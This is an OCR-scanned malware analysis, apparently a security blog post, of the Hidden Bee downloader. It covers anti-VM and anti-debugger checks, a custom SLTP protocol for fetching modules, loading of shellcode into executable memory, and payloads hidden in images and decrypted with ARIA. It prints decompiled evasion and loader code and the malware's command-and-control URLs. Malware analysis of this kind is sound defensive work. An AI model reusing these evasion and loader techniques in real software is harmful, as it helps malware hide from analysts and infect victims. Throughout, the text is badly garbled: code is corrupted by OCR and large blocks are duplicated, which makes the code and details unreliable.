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decode_memory (&unk_2435EE8); /4 "StrstrIA”

%8 = decode memory(8unk 24358C8); // "shlwapi.dll"

91 api dll = LoadlLibraryA(vi@);

92 GetProcAddress(shlwapi_dll, va);

93| if ( !strstrIA )

94 goto not_detected;

95 ] memset((lnf)BU“e' @, 2048);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97| v13 = decode_memory(&byte_2435E70); // "HARDWARE\DESCRIPTION\System"

98| if ( read_registry_key(vi3, w12, (BYTE *)Buffer, @) )

90| {

18a if ( ((int (_ stdcall *)(WCHAR *, const char *))Str5trIA)(Buffer, "VBOX") )

1e1 goto set_vm_flag;

1e2| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion™

184 w15 = decode_memory(&byte 2435E78); // "HARDIWARE\DESCRIPTION\System”

185 1f ( read_registry key(v1s, vi4, (BYTE *)Buffer, @) )

1e6| {

187 vi6c = decode_memory(&unk_2435E28); // "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )

189 goto set_wvm_flag;

110 }

111 v18 = decode_memory(&unk_2435E48); // "SystemBiosVersion™

112 19 = decode_memory(&str_| w:mdows_curr'ent\rersion),'.ff "SOFTWARE\Microsoft\Windows\Currentversion™

113| if ( read_registry_key(v19, v18, (BYTE *)Buffer, @)

114 && ((id1 = decode_memory(&unk_2435D0B4), ((int (_ thiscall *)(int, WCHAR *, BYTE *))strstris)(v2l, Buffer, 1d1))// "
115 || (idz = decode_memory(&unk_2435D88), ((int (_ thiscall *)(int, WCHAR *, _| ) AYy(v23, Buffer, id2))// "
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, _BYTE *))strstria}{v2s, Buffer, id3)}) )//
117

1
118/set_vm_flag:
vm_detected = 1;

else

1
123 not_detected:

124 vm_detected = @3
125 }

126| return vm_detected;
127[}

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules

The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebptvar_48)]
B24348F9 push offset asltp ;
@24348FE push eax

B24348FF call j_stromp
a2434984 pop ecx

82434965 test eax, eax
82434987 pop BCX

82434988 jnz loc_2434AD9

sltp"

The raw TCP socket created to communicate using the SLTP protocol:
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LOWORD(v27) = htons(hostshort[@]);
socket = WSASocketA(2, 1, @, @, @, 1u); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
// protocol : @ (unspecified)
// 1pProtocolInfo: NULL
// group: NULL
// Flags: 1 (WSA_FLAG_OVERLAPPED)

v6[13] = socket;
if ( socket = -1)
{ rr

vInButTer = @x25A287E9;

w32 = @xDDF3uj;

vi3 = @x4660;

V34 = @xBEuU;

w35 = @xE%u;

ViE = @xT6}

BRESU;

v3E = @xB8Cuj;

VED = @x74;

vdd = 63

val = @x3E;

if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )

callback = @;
if { WSAIoctl(ve[13], @x(88ee806, &vInBuffer, @x1Bu, &callback, 4u, (LPDWORD)&chbBytesReturned, @, @) != -1 )

*(_DWORD *)name.sa_data = @;

*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *}&name.sa_data[12] = @;

v26 = 2;
viz = vB[13];

name.sa_family = 2;

*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(v1z, &name, 16) != -1 )

j_memset((int)ve, B, 28);
if ( !callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Bx3E5 )

return 1;

}
}

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
{
F malloc,
(__stdecall *)(int))to_memcpy;
int))virtualAlloc;
T i int {__ int))virtualFree;
decode memory(&lnput arr); /! "IwQueryInformationProcess”
= decode_memory (&str_ntdll d1ll);
/8 = GetModuleHandlef(v7);
functions_list[5] = ( nt (__stdecall *)(int))GetProcAddress(vs, v9);// ZwQueryInformationProcess
new_module(functions list, custom_fs, fs_size);
VirtualFree(new_ medule, @, axseebu) ;
}
}

The way in which it is loaded reminds me of the elements we described recently in “Hidden Bee: Let’s go down

the rabbit hole“. The current module loads a list of functions that will be passed to the next module. It is a
minimalistic, custom version of Import Table. It also passes the memory with the downloaded filesystem to be

used for further loading of components.

The !rcx package

This element retrieves the custom filesystem used by this malware. As we know from previous analysis, Hidden
Bee uses its own, custom filesystems that are mounted in the memory of the malware and passed to its
components. This filesystem is important for the execution flow because it contains many other components that

are supposed to be installed on the attacked system in order to continue the infection.

As mentioned before, unpacking the JPG gave us an !rcx package. After this package is downloaded, and its
SHA?256 checksum is validated, it is repackaged. First, at the end of the !rcx package, the list of URLs (JPG,
PNG) from the previous module is copied. Then, the ARIA key is copied. The size of the module and its SHA256

hash are updated. Then, the execution is redirected to the first stage shellcode fetched from the !rcx.

This shellcode was the one that we saw at first, after decoding the !rcx package from the JPG. Yet, looking at this
part, we do not see anything malicious. The elements that are more important are well protected and revealed at

the next execution stages.

The shellcode from the !rcx package is executed in two stages. The first one unpacks and prepares the second.

First, it loads its own imports using hardcoded names of libraries.
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eaeaaaBl sub edi, ecx

282883 mov [ebp+var_4C], EEh ; "K'
BERBEAEY mov [ebp+var_4aA], &5h ; ‘e’
BPRBBAEF mov [ebp+var_48], 72h ; 'r'
2eepaacs mov [ebp+var_46], GEh ; 'n’
aeesaacE mov [ebp+var_44], &65h ; 'e'
aeaeea0l mov [ebp+var_4@], 33h ; '3°
aeae8a07 mov [ebp+var 3E], 32h ; '2°
282800 mov [ebp+var_3C], 2Eh ; ".°
2E28ERE3 mov [ebptvar_3A], E4h ; "d°
BERBBAES mov [ebp+var_18], &Eh ; 'n’
BEBBBAEF mov [ebp+var_16], 74h ; 't'
BERBRAFS mov [ebp+var_14], &64h ; 'd’
BERBRAFE mov [ebpt+var_E], 2Eh ; ".'
2eae8181 mov [ebp+var _C], &4h ; "d’
aeaee187 mov ebx, [esi]

The checksums of the functions that are going to be used are stored in the module and compared with the names

calculated by the function:

llunsigned int _ stdcall calc_checksum(_ BYTE *func_name)
2

3| _BYTE *_func_name; // edx

4| unsigned int checksum; // eax

5| char next_char; // cl

G| unsigned int prev_res; // esi

7| int _next _char; [/ eax

a8

9| _func_name = func_name;

18| checksum = @;

11| for { next_char = *func_name; next_char; ++ _func_name )
12| {

13 prev_res = (checksum >» 13) | (checksum << 19);

14 _next _char = next_char;

15 next_char = func_name[1];

16 checksum = prev_res + _next_char;

17| 1}

13| return checksum;

19[}

It uses the functions from kernel32.dll: GetProcessHeap, VirtualAlloc, VirtualFree, and from ntdIl.dll:
RtlAllocateHeap, RtlFreeHeap, NtQueryInformationProcess.

The repackaged !rcx module is supposed to be supplied as one of the arguments at the Entry Point of the first

shellcode. It is most important because the second stage shellcode will be unpacked from the supplied !rcx

package.
Ll 4
2eesal99 mov ebx, [ebpt+arg_C]
aeesaloc mov ecx, [ebx+d]
2eae819F cmp dword ptr [ecx], 'ker!’
Geaa81AS jnz loc_28B

A new memory area is allocated, and the second stage shellcode is unpacked there.
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new_module_ep = 83

vl5 = GetProcessHeap(8, *((_BYTE **}i + 2));
vl6 = (_BYTE *)RtlAllocateHeap(vlS);

indx = @;

buffer = vle:

if ((vie )

1

if ( *((_DWORD *)i + 2) > @u )

w18 = i + 16 - v16;

do

{
++inde;
*v16 = v16[v18] ~ @xEl;
+vl6;

h
while ( indx < *({_DWORD *}i + 2) };
_to _rcx_ptr = to_rcx_ptr;

allocated bufl = (unsigned _ intl6 *)_allocated_bufl;
if ( decode_module(
(int)&virtualalloc,// loaded_functions_list
(int)buffer,
*((_DWORD *)i + 2),
(int)_allocated_bufl,
F((_DWORD *)i 4 3)) == *((_DWORD *)i + 3) )
new_module_ep = allocated bufl;
v2@ = GetProcessHeap(@®, buffer});
RtlFreeHeap(v2e);
if ( new_module_ep )
((void (_ stdeall *)(int (_ stdcall **)(_DWORD, _DWORD, signed int, signed int), int, _DWORD, _DWORD)}new module ep)(
&virtualalloc, // loaded_functions_list
flag,
_to_rcx_ptr[1],
*_to_rcx_ptr);

result = (unsigned _ intlé *)VirtualFree(_allocated_bufl, @, @x3000);

Inside the second shellcode, we see strings referencing further components of the Hidden Bee malware:
/bin/i386/preload /bin/i386/coredll.bin

The role of the second stage is unpacking another part from the !rcx: an !rdx package.

if (Crdx ptr )

w32 = v18[3];
crypt_init(&crypt ctx, &crypt keybuf);
dec_size = @;
if ( wie[2] )

{
chunk_ptr = (_BYTE *)sizea;
for { 1 = (int)((char *)v18 - sizea + 16); ; i = (int)}({{char *)vl@ - sizea + 16} )
1
crypt_round{chunk_ptr, &chunk_ptr[i], (int)&crypt_ctx);
dec_size += 16;
chunk_ptr += 16;
if ( (unsigned int)dec_size »= v1e[2] )
break;
b

rdx_ptr = _rdx_ptr;

if ( decompress{(int)functions_list, (int)rdx_ptr, &332, sizea, v18[2]) )
goto LABEL_38;
w17 = ((int (__stdcall *)(signed int, signed int))}functions_list[2])(8, 12);

w18 = (_DWORD *)((int (__stdcall *)(int))functions_list[3])(v17)};
v3id = vl1g;
if ( 'vis )

goto LABEL_38;
*v18 = rdx_ptr;
if ( *rdx ptr == ‘fdr!’
1
v18[1] rdx_ptr + 13
v1g[2] = vie[3];

}
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aeeessly mov [eax], ebx
aeeerslE cmp dword ptr [ebx], 'xdr!’
@eeae621 jnz short loc 631

From our previous experience, we know that the !rdx package is a custom filesystem containing modules. Indeed,

after the decryption is complete, the custom filesystem is revealed:

HESEESER FUSH ERX
HASEESE 1 CALL HBESEZESE crypt_init
HASEESEE AHD OWORD FTE S5:[EEBF+EXC]. G:&
HASEESER CHF OWORD PTR DS:[ESI+E4S],@xE
HESEEEEE |+ | JEE SHORT HBRSSHSF2

BASEEECH HMal EEX, OWORD FTE S5:[EEF+8x18]
BASEESCS LEA ERX,DOWORD PTR DS:[ESI+@x18]
BESEESCE SUE ERH, EBX

HESEESCE MO OWORD FTRE S5: [EEF+EXE1. EAX
FESEESCE [+ | JHP SHORT EBRS&RS0E

HASEESCD Mal ERx, OWORD FTR S5:[EEBF+E25]
BASEES0R LER ECX,OWORD PTR 55:[EBP-8u15C]
HESEEE0E ROD ERX, EBX

BASEEE0S FUSH ECH

BASEES0Y FUSH ERX

BESEES0A FUSH EEX

HESEES0E CALL BBS&z192 crypt_round
HESEESER AOD OWORD FTR S5:[EEF+8MC]. 0= 19
HHSEESES AODO EE:X, Ex 1@

HASEEASET Mo ERX, OWORD FTE S5: [EEBF+ExC]
HESEESER CHP ERX, OWORD PTE DS:[ESI+E#E]
BEASEESED |~ | JE SHORT GAS&ESCD

BASEESEF MOL EEX, OWORD FTRE S5: [EEF-B8181
BESEESF 2 FUSH OWORD PTR DOS5:CESI+@xE]
HESEESFS LER ERx, OWORD PTR S55: [EBFP-B2C]
HESEESF S FUSH OWORD PTR 55: CEEP+@:168]
HHSEESFE FUSH ERX

HASEESFC FUSH EEX

HHSEEEFD FUSH EDI

CALL B8SEBEAE

ARG E TEST ERX,ERAX

BESEEEES [+ | JHE SHORT BBS&EE4E

HESEEEET FUSH &xiC

FHSEEEED FUSH &x3

CHLL DHERD FTR DO5:CEDI+@R:3] kernel32.GetProcessHeap

e e e TR

4
ERx=BE88E8EHE

Address | Hen dump ASCIT

gizipadclzl 72 64 FEIZ2 BE DR B0 ED @1 DB B0 20 G5 08 08| frda'™.. .70, 08,
HlzigEcs| 62 69 6E ZF 69 22 38 3¢ 2F ¥@ 72 65 &C &F &1 4| bin-iZ8é-preload
HisiBEcc| 08 B0 45 A8 08 B8 60 B3 08 B8 BA 2C 81 88 62 69| ..E...rll. .. B.b1
BisieErs|6E 2F 61 6D &4 35 34 2F 63 6F 72 65 &4 6L &0 ZE|n-amdéd-coredll.
EizipEzci 62 69 EE BB DA &4 OB B0 BB &D 24 Bl B8 B8 89 08 bin..d...mdB....
EizipEscied 62 €9 6B 2F &1 D 64 26 24 2F 7O ¥2 &£ &C &F|.binsamdedsprelo
EiziBEns 61 &4 BE BB OF B0 BE B0 S0 20 Bl B0 18 G5 00 00) ad..g... ;=B k..
GiziBEps 62 €9 EE 2F &9 22 22 26 2ZF &B 7@ 6C EF &1 &4 &5\ bin-i288-kploade
@lzi@EEce| v2 ZE 62 69 SE BB DA AD 0B @0 BE YD 42 @1 688 08| r.bin..g... 2B0..
BlzigEns| 10 88 68 62 &9 6E 2F 61 &0 &4 26 34 ZF &2 &F &D|..bin<amd&d-con
HisiBEES| 60 6F 6E ZE &4 &C &C B0 BA CE 98 828 88 70 SE Bl mon.dll..fFa.. 30
BisiBEFS| B8 B0 45 B8 B8 &2 &9 6E ZF 69 33 38 36 ZF 6B 6C|..E..bin~s1386-k ]
EiziBEinsfeF &1 &4 65 Y2 ZE &2 69 E6E @O BB ES B0 B8 88 70| ocader.bin..fi...}
Ei2iEiicfA2 61 B 62 OF BB BR &2 &9 6E 2F ¥2 &8 &9 &0 ZE|uB.h-..binsshim.
Eizi@izelel €9 EE BB 0E @Y B1 B0 BB EE DR B1 BB 20 60 08 bin..-8..6 B.0..
Gizimizoion 62 &9 6E|ZF &1 6D 64 26 24 2ZF ¥B F2 2ZE &2 69| .binsamdédspr.bi
Ei2i@E142(6E ZE 72 69 5F BB DA 22 01 @0 0B &5 AE Bl 88 28| n.zig..(8..e30.0
Hizi@icc|og 80 B8 62 &2 6E ZF 69 35 3% 26 2F F8 ¥2 ZE &2|...binsiZ86-pr.b
BisiEics| 6% 6E 2E 73 6% &7 DA B0 45 81 B8 B8 ES HE 81 08| in.sig..FB. 620,
Hisi@ivc|oa BH B8 B8 52 &9 6E 2F &1 60 &4 36 34 2F 7B 72| ....bin- andéd- pr
Eizi@ise| 2B 62 €9 6E DA BB &2 A1 BB B8 ES BS 81 B8 80 02 .bin..cd..hAB..0
Eizi@icociod BE 62 &9 6B 2F €9 223 28 26 2F VO F2 2E 62 €9 ..bin-si22cspr.bi
Ei2i@Einsf6E GO BE 27 6] B0 GE EE BD @1 0B FO BE 08 G0 &2\ n..ql..h20.-%..b
Gizi@ipe| e 6E 2F &1 6D &4 26 24 2ZF EB 7@ &C EF &1 &4 &E| insamdéd-kploade
@i2i@ice|v2 ZE 62 69 SE BB DA AZ Bl @0 6@ DS C2 @l 688 08| r.bin. .EB..AME..
Hizi@ibs| 16 88 B8 62 &2 6E ZF 69 33 3% 26 2F &2 &F &0 &D| ... bin~ 1386 comm
Bi21B1ES|6F 6E 2E &4 6L &C BB B8 CH 81 B8 B8 DS 0P 81 08 on.dll. .8, .FHE,
gisi@iFcioa ZE 81 88 62 &9 6E 2F 69 33 38 36 ZF 63 &F 72| ..8.bin-i386-cor
EiziEzas 65 &4 6C &C ZE &2 €9 EE DB BE BB B0 B8 B8 DS 67 edll.bin...... -
EiziEz1oi@2 60 28 B2 0@ B8 &2 69 6E 2F &1 60 &4 26 24 2F| e (M. binsamdéds
Eizipzzol el 6C 6F &1 &4 65 72 2E &2 €9 6E BO BB 98 98 98|k loader.bin..EEE
Ei2iE=22 B2 2E OO G0 0F B0 DR B0 OB B0 0B B0 OB B GE O RM. . ...cciieana
GiziBz40| 08 B0 60 A0 08 B0 OB B0 DB B0 0B B0 BB SB OB E5| ... ..0000.. koe
HlziE=tcioa 72 B8 6E DB &5 DB &C B8 33 08 32 88 ZE 88 24| .r.n.e. 13020, .d
BisiBzcc{oa 6C B8 &6C 0A BE O BS BA AR AR AR FF 38 FF S8 . l.l... ap
gisi@=rs{@4 FF EB S8/ 5B CC SB DB 53 ER B2 52 51 S8 ES 7H| # OxilrddarfREPR:
EiziE=22{ @2 80 68 C3/ 55 8B EC 82 EC @C 2B 4588 29 45 FCle., HUodag. GEQEER
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So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the

next stage modules: /bin/i386/preload and

/bin/i386/coredll.bin

. This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality

will be described in the next article in our series.

Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its
evolution, we can be sure that the authors are serious about making it even more stealthy—and they don’t stop

improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted
content now takes many more steps and much more patience. The additional difficulty in the analysis is

introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won’t be going

extinct anytime soon.

33| decocded buf = @;

34| png_hdr = @x89u;

35| w1z = 'P';

36| vi4 = 'N';

37 5 ='G';

38 = '"\r';

39 = "\n';

48 = 26;

41 w19 = 1@;

42| if ( !'j_memcmp(payload, &png_hdr, B} )

43 decoded_buf = (_BYTE *)decode_from_png(payload, functions_list, &size);
44| result = free(payload);

45| if ( decoded buf )

46| {

47 if ( !(size & 3) )

43 {

49 buf_ptr = deceded_buf;

5@ aria_set_key((unsigned int *)&crypt_ctx, aria_key_ptr + 4, *(_DWORD *)aria_key ptr);
51 j_memset(aria_key ptr + 4, @, *(_DWORD *)aria_key_ptr);

52 if ( size )

53

54 do

55 {

56 aria_crypt_round(&crypt_ctx, buf_ptr, buf_ptr);

57 index += 16;

58 buf_ptr += 163

59

58 while ( index ¢ size );

61 1

62 if ( *decoded_buf == 'M" && decoded_buf[1] == 'S’ && deceded_buf[2] == "C' &% deceded_buf[3] == 'F' )
63 {

64 if ( unpack_cab(&v1e, (int)decoded buf, size) )

65

66 module_name = decode_memory((int)sub_317EE4);// "bin/i386/core.sdb”
57 load from_package({index, (int)decoded_buf, (int)}&v1@, module_name, @};
63 free_module(&via);

&9 1

78 }

71

72 result = free(decoded_buf);

73| }

74| return result;

75}
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It converts the PNG into byte content and decrypts it with the help of ARIA cipher. The result should be a CAB

format. The unpacked CAB is supposed to contain a module “bin/i386/core.sdb” that also occurred in our previous

encounters with Hidden Bee.

The authors are careful not to reuse URLSs as well as encryption keys. That’s why the Aria key is different for

every unique payload. It is stored just after the end of the 0x10000401 module :

QO00BETO ©4 74 00 OO0 1E 74 00 OO0 24 74 00 00 2R 74 00 00 .t...L..

O0D0BEED 30 74 00 00 36 74 00 00 pRommiliEevimyy:auo=ppeli-toamitl OC..6C..[..

b= C ES E6 17 8B 96 EC EA CS5 EF glveleEeIv BTy [1 Rl Iz z===¢
O000BEAD OO OO OO0 OO OO OO0 OO0 OO0 OO0 OO0 OO0 00 00 00 00 00 ..veeereennnnnns

During the module’s loading, the key is rewritten into another memory area, from which it is used to decrypt the

downloaded module.

@p3185C4 movzx  ecx, word ptr [esi] ; copy the ARIA key

883185C7 mov [eax], ecx

2831859 mov eax, ds:aria_key ptr
e83185CE push dword ptr [eax]
B8e31espe add eax, 4

@831e503 push ebx
28318504 push eax
e831esDs call Jj_memcpy
ee31esDA add esp, @Ch

TEEY,

e831esD0D loc 31esDD:

e831esDD cmp ds:aria_key ptr, @
@B3185E4 jnz short continue_to download
v I 1
P
aa3leses aBa31a85EE
963185E6 loc_3185E6: ; DWORD| |@@3185EE |continue to download: ; _DWORD
8B3185E6 push a BB3185EE push 7
9B3185E8 call ds:ExitProcess 8B3185F8 call ds :SetErrorMode
@83185F6 mov eax, [ebp+param]
B83185F9 push dword ptr [eax+eCh]
B83185FC call download and decode images
B8B318681 jmp loc 31BAFL

The CAB file retrieved from the PNG is available here: 001bdc26b2845dcf839f67a8760c6839

’T > m Location: |= /bin/i386/

Name v | Size Type Modified
2 core.sdb 26.7 kB unknown 01 January 1970, 01:00

It contains core.sdb (d1la2fdc79c154b120a0e52c46a73478d). That is a second module in Hidden Bee’s custom

format.
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Inside core.sdb

This module (retrieved from the PNG) is a second downloader component in the 0x10000401 format. This time, it
uses a custom TCP-based protocol, referenced by the authors as SLTP. (This protocol was also used by the

analogical component seen one year ago). The embedded links:

sltp://dns.howtocom.site:1108/minimal.bin?id=998 sltp://bbs.favcom.space:1108/setup.bin?id=999

Execution flow

1. Checks for blacklisted processes. If any are detected, exits.

2. Removes functions:

DbgBreakPoint

DbgUserBreakPoint
by overwriting their beginning with the RET instruction.
3. Checks if the malware is already installed. If yes, exits.
4. Creates an installation mutex

{71BB7F1C-D700-4487-B9C6-6DD9863DFEI1}-ins.

5. If the module was run with the flag==1:

1. Connects to the first address:

sltp://dns.howtocom.site:1108/minimal.bin?id=998

2. Sets an environment variable
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INSTALL_SOURCE

to the value given as an argument.
3. Runs the downloaded next stage module.
6. If the module was run with the flag!=1:
1. Performs checks against VM. If detected, exits.

2. Connects to the second address:

sltp://bbs.favcom.space:1108/setup.bin?id=999

. This time, appends the victim’s fingerprint to the URL. Format:

&sid=&sz=&os=8ar=

3. Runs the downloaded next stage module.

Defensive checks

At this stage, many anti-analysis checks are deployed. First, there are checks to detect if any of the blacklisted
processes are running. The enumeration of the processes is implemented using a low-level function:

NtQuerySystemInformation with a parameter 5 (

SystemProcessInformation
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36 j_memset{(int}vl, @, SystemInformationLength};
37 if ( INtQuerySystemInformation(v3, 5, v2, SystemInformationLength, &SystemInformationLength) )
38

39 while ( !blacklisted _processes[@] )

4a

41|check_next:

42 if ( !*(_DWORD *}v2 )

43 goto finished;

a4 v2 += *(_DWORD *)v2;

45 1

46 next_proc_name = blacklisted_processes;

47 _next_proc_name = blacklisted_processes;

43 while ( 1 )

49

5@ RtlInitUnicodestring(&ve, *next_proc_name);
51 if ( (_WORD)vE == *(({_WORD *)v2 + 28) )
52

53 if ( (unsigned _ int8)RtlEqualUnicodeString(&ve, v2 + 56, 1) )
54 break;

55 1

56 next_proc_name = _next proc_name + 1;

57 _next_proc_name = next_proc_namej

58 if ( !*next_proc_name )}

59 goto check_next;

60 1

61 blacklisted found = 1;

62

63 [Finished:

64 LocalFree(v7);

65

66 return blacklisted found;

67}

The blacklist contains popular debuggers and sniffers:

“devenv.exe” , “wireshark.exe”, “vmacthlp.exe”, “procmon.exe”, “ollydbg.exe”, “idag.exe”,

» <«

“ImmunityDebugger.exe”, “windbg.exe”

» o«

“EHSniffer.exe”, “iris.exe”, “procexp.exe”, “filemon.exe”, “fiddler.exe”

The names of the processes are obfuscated, so they are not visible on the strings list. If any of those processes are

detected, the execution of the module terminates.
Another function deploys a set of anti-VM checks. The anti-VM checks include:

46| ms_exc.registration.Trylevel = @;
47| CPUID check(&/27, Bx40000000);
48| *(_DWORD *)v33 = v28;
49| *(_DWORD *)&33[4] = v2
58| *(_DWORD *)&33[8] = v3
51| ms_exc.registration.Trylevel = -1;
52| HIBYTE(v34) = @;

53| if ( VPCEXT_check() )

54 goto set_wm_flag;

55| if ( VMWare io check() )

56 goto set _wm_flag;

PG -

L

-
A=
e

CPUID with EAX=40000000 (a_check for Hypervisor’s Brand):

- a -

B824335CB push hBBBBBBBh

82433500 lea eax, [ebpt+var_544]
@2433506 push eax

82433507 call CPUID check
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82433414 pusha

8243341 mov eax, [ebptarg_ 4]
A243341E wor ehw, ehx
B2433428 xor BCH, BCX
A2433422 wor edx, edx
82433424 cpuid

B2433426 mov edi, [ebptarg_g]

The VMWAre 1/0 Port (more details [here]):

A243353A mov eax, VMKh'

@243353F mov ebx, 8

82433544 mov ecx, Bah

82433549 mov edx, "WVX'

B243354E in eax, dx ; check for Wware
B243354F cmp eba, "VMIh'

@2433555 set:z [ebp+var_1C]

VPCEXT instruction (more details [here])

B824334B3 push ebx
@2433464 mov ehx, @
82433489 mov eax, 1
B24334BE wpcext 7, @Bh
@24334C2 test ehx, ebx
82433404 setz [ebptvar_1C]

Checking the list of common VM vendors:
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57
58
59
68
6l
62
63
a4
65
66
67
63
69
78
71
72
73
74
75
76
77
78
79
o8
a8l
a2
83
a4
a5
26
a7
28
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ve = decode_memory(&str_XenVMMXenViMM) ; JI " XenVMMenviiM™

if { !strncmp{v33, wve, 12} )
goto set_wm_flag;

vl = decode_memory(&str_VMWareVMware); J "VMwareVMware”

if ( Istrncmp(v33, vi, 12} )
goto set vm_flag;

w2 = decocE_memory{&str_KUHWHKUH}; £ KVMKVMVM"

if { !strncmp(v33, v2, 12} )

goto set_wvm_flag;
v3 = decode_memory({&str KVMIKVMKVM) ; JI T IEMEVMICVM™
if { !strncmp{v33, v3, 12) )

goto set_wm_flag;
vd = decode_memory(&unk_2435F78); " lrpepyh  wr
if ( !strncmp(v33, v4, 12) )

goto set_vm_flag;
v5 = decode_memory(&unk 2435F58); // "sbiedll.dll™

if { GetModuleHandleA(vS) )
goto set_wm_flag;

if { leetComputerNameW(Buffer, &nSize) )
goto set_wm_flag;

= (const WCHAR *)decode_memory(dword_2435F34);// L"SANDBOX"

WE
if ( !lstrecmpilW(Buffer, wv&) )
goto set_vm_flag;
nsize = 1824;
if ( !GetUserNameW(Buffer, &nSize) )
goto set_wm_flag;
w7 = {const WCHAR *)decode_memory(&unk_2435F88);//
if { !1strompiW(Buffer, w7} )
goto set_wm_flag;

= (const WCHAR *)decode memory(dword 2435F34);// L"SANDBOX"

wB
if { !1strempil{Buffer, wva) )
goto set_vm_flag;

Checking the BIOS versions typical for virtual environments:

83
98
91

92| StrStrIA = GetProcAddress(shlwapi dll, va);

93| if ( !strstria )

94 goto not_detected;

95 j_memset((int)Buffer, @, 2848);

96| w12 = decode_memory(&unk_2435EA8); // "SystemBiosVersion™

97 w13 = decode_memory(&byte_2435E70); // "HARDIWARE\DESCRIPTION\System"”
98| if ( read_registry_key(v13, v12, (BYTE *)Buffer, @) )

99

1ee if ( ((int (__stdcall *)(WCHAR *, const char *))strstrIA)(Buffer, "VBOX") )
181 goto set_vm_flag;

182| }

183 v14 = decode_memory(&unk_2435E48); // "VideoBiosVersion”

184 w15 = decode_memory(&byte_2435E78); // "HARDWARE\DESCRIPTION\System"
185 if ( read_registry key(v15, w14, (BYTE *)Buffer, @) )

186 {

187 V16 = decode_memory(&unk_2435E28); /4 "virtualBox"

108 if ( ((int (__thiscall *)(int, WCHAR *, _BYTE *))StrStrIA)(vl7, Buffer, v16) )
189 goto set_wvm_flag;

110| }

111 w18 = decode_memory(&unk_2435EA8); // "systemBiosVersion™

112 v19 = decode_memory(&str Windows_CurrentVersion};// "SOFTWARE\Microsoft\Windows\CurrentVersion”
113 if ( read_registry_key(v19, w13, (BYTE *)Buffer, @)

114 &8 ((idl = decode_memory(&unk_2435DB4), ((int (

115 || (id2 = decode_memory(&unk_2435D88), ((int (_ thiscall *)(int, WCHAR *, _| *)
116 || (id3 = decode_memory(&unk_2435D5C), ((int (_ thiscall *)(int, WCHAR *, BYTE *))StrStria){v2s, Buffer, id3))) )// "76487-337-8429955-22614"
117

118|set_vm_flag:

119 vm_detected = 1;

128

121| else

122 {

123|not_detected:

124 vm_detected = @3

125

126 return vm_detected;

127]}

v3 = decode_memory (&unk_2435EE8); /{ "strstria”
v18 = decode_memory(&unk_2435ECE); /7 "shlwapi.dll”
shlwapi_dll = LoadlLibraryA(v1@);

Detection of any of the features suggesting a VM results in termination of the component.

Downloading new modules
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The next elements of HiddenBee are downloaded over the custom “STLP” protocol.

B24348F6 lea eax, [ebpt+var_48)]
B24348F9 push offset asltp ; "sltp”
B24348FE push eax

B24348FF call j_strcmp

e2434984 pop ecx
82434985 test eax, eax
@24349a87 pop ecx
82434988 jnz loc_2434AD9

The raw TCP socket created to communicate using the SLTP protocol:

socket = WSASocketA(2, 1, @, @, @, lu); // address family: 2 (AF_INET)
// type: 1 (SOCK_STREAM)
f/ protocol : @ (unspecified)
// lpProtocolInfo: NULL
// group: NULL
#/ flags: 1 (WSA_FLAG_OVERLAPPED)

vB[13] = socket;
if ( socket I= -1
i
vInBuffer = @x25A287B9;
w32 = @xDDF3u;
Vi3 = @x4660;
vid = @x8Eu;
w35 = @xE9u;
viE = @x7e;
= @xE5u;
= @Bx8Cu;
39 = Bx74;
= B;
val = @x3E;
if ( BindIoCompletionCallback(socket, LpoverlappedCompletionRoutine, @) )
{
callback = @3
if ( WSAToctl(vG[13], @xC880@886, &vInBuffer, @x18u, &callback, 4u, (LPODWORD}&cbBytesReturned, @, @) I= -1 )
*(_DWORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[4] = @;
*(_DWORD *)&name.sa_data[8] = @;
*(_WORD *)&name.sa_data[l2] = @;
23
viz = vB[13];
name.sa_family = 2;
*(_WORD *)name.sa_data = @;
*(_DWORD *)&name.sa_data[2] = @;
if ( bind(viz, &name, 16) != -1 )
j_memset((int)ve, @, 28);
if ( 'callback(ve[13], &v26, 16, @, @, &cbBytesReturned, ve) && WSAGetLastError() == Ox3ES )
return 1;
}
1

closesocket(ve[13]);

The communication is encrypted. We can see that the expected output is a shellcode that is loaded and executed:
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do
{
5 = vA[1];
i S )
if (w5 ==2)
{
B = *(va - 1);
if (w6 + *vd > a2 )
break;
fz zize = *yd:
=_=LleE St |
ustom_fs = & buffer[ve];
}
}
else
if ( *(v4 - 1) + *va > a2 )
break;
new_module = (wvoid (_ stdcall *)(int (_ stdcall **)(int), _BYTE *, DWORD))VirtualAlloc(®, *v4, Bx1006u, Bx40u);
if ( new_medule )
j_memepy((int)new_medule, (int)& buffer[*(v4 - 1)], *v4);
++bufferaz
vd += 3;
b
while { (unsigned int)buffera < *({_DWORD *)_buffer + 1} };
if { new_module )
{
if ( custom_fs }
